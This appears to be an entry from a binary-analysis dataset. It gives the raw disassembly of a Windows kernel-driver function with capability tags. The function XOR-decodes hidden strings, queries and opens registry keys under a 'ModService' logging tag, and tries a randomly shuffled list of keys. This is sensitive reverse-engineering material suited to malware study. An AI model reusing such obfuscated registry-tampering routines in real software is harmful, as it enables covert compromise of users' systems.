Function at 0x13aa0
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
sub esp, 0xc0
push ebx
push ebp
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
push edi
xor ebp, ebp
push ebp
push 0x18
push 1
mov dword [esp + 0x20], 0xc0000001
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x44], ebp
call esi
cmp eax, ebp
je 0x13aff
mov edi, 0x15134
or esi, 0xffffffff
mov ecx, eax
sub edi, eax
lea ebx, [ebp + 6]
lea esp, [esp]
mov edx, dword [edi + ecx]
mov ebp, edx
xor ebp, esi
mov dword [ecx], ebp
add ecx, 4
sub ebx, 1
mov esi, edx
jne 0x13ae0
mov esi, dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov dword [esp + 0x38], eax
xor ebp, ebp
push ebp
push 4
push 1
mov dword [esp + 0x24], ebp
call esi
cmp eax, ebp
je 0x13b18
mov dword [eax], 0x30
mov dword [esp + 0x18], eax
push ebp
push 0x68
push 1
mov dword [esp + 0x28], ebp
call esi
cmp eax, ebp
je 0x13b51
mov edi, 0x15384
or esi, 0xffffffff
mov ecx, eax
sub edi, eax
mov ebx, 0x1a
mov edx, dword [edi + ecx]
mov ebp, edx
xor ebp, esi
mov dword [ecx], ebp
add ecx, 4
sub ebx, 1
mov esi, edx
jne 0x13b38
mov dword [esp + 0x1c], eax
xor ebp, ebp
push str.ModService
push str.__s_
call fcn.00012710
mov edi, dword [esp + 0x40]
add esp, 8
cmp edi, ebp
je 0x13eb1
cmp dword [esp + 0x18], ebp
je 0x13ea5
cmp dword [esp + 0x1c], ebp
je 0x13ea5
mov eax, dword [0x16f20]
mov esi, dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
lea ecx, [esp + 0x20]
push ecx
push 0xf003f
lea edx, [esp + 0x18]
mov ebx, 0x40
push edx
mov dword [esp + 0x2c], 0x18
mov dword [esp + 0x30], ebp
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], eax
mov dword [esp + 0x3c], ebp
mov dword [esp + 0x40], ebp
call esi
test eax, eax
jl 0x13c73
push edi
mov edi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [esp + 0x40]
push eax
call edi
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x20]
push eax
mov dword [esp + 0x28], ecx
push 0xf003f
lea ecx, [esp + 0x18]
lea edx, [esp + 0x44]
push ecx
mov dword [esp + 0x2c], 0x18
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], edx
mov dword [esp + 0x3c], ebp
mov dword [esp + 0x40], ebp
call esi
test eax, eax
jl 0x13c73
mov eax, dword [esp + 0x24]
cmp eax, ebp
je 0x13c1e
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov edx, dword [esp + 0x18]
push edx
lea eax, [esp + 0x40]
push eax
call edi
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x48]
push ecx
push ebp
push ebp
push 2
lea edx, [esp + 0x4c]
push edx
push eax
call dword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
cmp eax, 0xc0000023
jne 0x13c73
push str.ModService
push str.__s_Has_old_data
call fcn.00012710
mov eax, dword [esp + 0x18]
add esp, 8
cmp eax, ebp
je 0x13c6b
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
push ebp
push ebp
push ebp
call fcn.00013f00
mov eax, section..data
mov dword [esp + 0x48], 1
call fcn.00010a20
mov edi, eax
cmp edi, ebp
je 0x13ea5
movzx esi, word [section..data]
sub esi, 8
mov eax, ebp
mov ebx, ebp
je 0x13cc9
mov edx, 1
mov cl, byte [eax + edi]
inc eax
inc edx
test cl, cl
jns 0x13cc4
cmp cl, 0xff
je 0x13cba
cmp eax, esi
jae 0x13cf6
inc eax
inc edx
jmp 0x13cc4
cmp edx, esi
jae 0x13cf6
add eax, 2
add edx, 2
inc ebx
cmp eax, esi
jb 0x13ca4
mov eax, ebx
push ebp
lea ecx, [eax + eax]
push ecx
push 1
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov dword [esp + 0x44], eax
cmp eax, ebp
je 0x13cfa
movzx edx, word [section..data]
sub edx, 8
push edx
mov esi, eax
call fcn.000105d0
xor esi, esi
jmp 0x13cfe
xor eax, eax
jmp 0x13ccb
mov esi, dword [esp + 0x48]
push ebp
push edi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
cmp esi, ebp
jne 0x13ea5
mov eax, dword [esp + 0x44]
xor ebx, ebx
mov edi, eax
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x13d20
sub eax, edx
sar eax, 1
mov esi, eax
cmp esi, ebp
je 0x13d6b
push edi
push str.ModService
push str.__s__S
call fcn.00012710
mov dword [esp + ebx*4 + 0x5c], edi
lea edi, [edi + esi*2 + 2]
mov eax, edi
add esp, 0xc
inc ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x13d56
sub eax, edx
sar eax, 1
mov esi, eax
cmp esi, ebp
jne 0x13d35
push ebx
push str.ModService
push str.__s__d
call fcn.00012710
add esp, 0xc
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.ntoskrnl.exe_KeQuerySystemTime]
mov ecx, dword [esp + 0x4c]
xor ecx, dword [esp + 0x48]
xor edi, edi
mov dword [0x16dc0], ecx
cmp ebx, ebp
jbe 0x13dd9
lea ecx, [ecx]
mov eax, ecx
imul eax, eax, 0x1fff
add eax, 0x3ff
xor edx, edx
mov ecx, 0x7fffffff
div ecx
mov esi, dword [esp + edi*4 + 0x50]
inc edi
mov ecx, edx
xor edx, edx
mov eax, ecx
div ebx
lea eax, [esp + edx*4 + 0x50]
mov edx, dword [eax]
mov dword [esp + edi*4 + 0x4c], edx
mov dword [eax], esi
cmp edi, ebx
jb 0x13da0
mov dword [0x16dc0], ecx
mov eax, dword [esp + 0x1c]
push eax
lea ecx, [esp + 0x40]
push ecx
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [esp + 0x20]
push eax
push 0xf003f
lea ecx, [esp + 0x18]
lea edx, [esp + 0x44]
push ecx
mov dword [esp + 0x2c], 0x18
mov dword [esp + 0x30], ebp
mov dword [esp + 0x38], 0x40
mov dword [esp + 0x34], edx
mov dword [esp + 0x3c], ebp
mov dword [esp + 0x40], ebp
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
jl 0x13ea5
xor edi, edi
cmp ebx, ebp
jbe 0x13ea1
mov esi, dword [esp + edi*4 + 0x50]
push esi
lea edx, [esp + 0x40]
push edx
mov dword [esp + 0x1c], ebp
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x20]
push edx
mov dword [esp + 0x28], eax
push 0xf003f
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x44]
push eax
mov dword [esp + 0x2c], 0x18
mov dword [esp + 0x38], 0x40
mov dword [esp + 0x34], ecx
mov dword [esp + 0x3c], ebp
mov dword [esp + 0x40], ebp
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
jne 0x13e9c
mov ecx, dword [esp + 0xd4]
mov edx, dword [esp + 0x14]
push ecx
push esi
push edx
call fcn.00012da0
test eax, eax
jge 0x13ea1
inc edi
cmp edi, ebx
jb 0x13e30
mov dword [esp + 0x14], ebp
mov eax, dword [esp + 0x38]
push ebp
push eax
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, dword [esp + 0x18]
mov esi, dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
cmp eax, ebp
je 0x13ec3
push ebp
push eax
call esi
mov eax, dword [esp + 0x1c]
cmp eax, ebp
je 0x13ecf
push ebp
push eax
call esi
mov eax, dword [esp + 0x44]
cmp eax, ebp
je 0x13edb
push ebp
push eax
call esi
mov eax, dword [esp + 0x10]
cmp eax, ebp
je 0x13eea
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc0
ret 4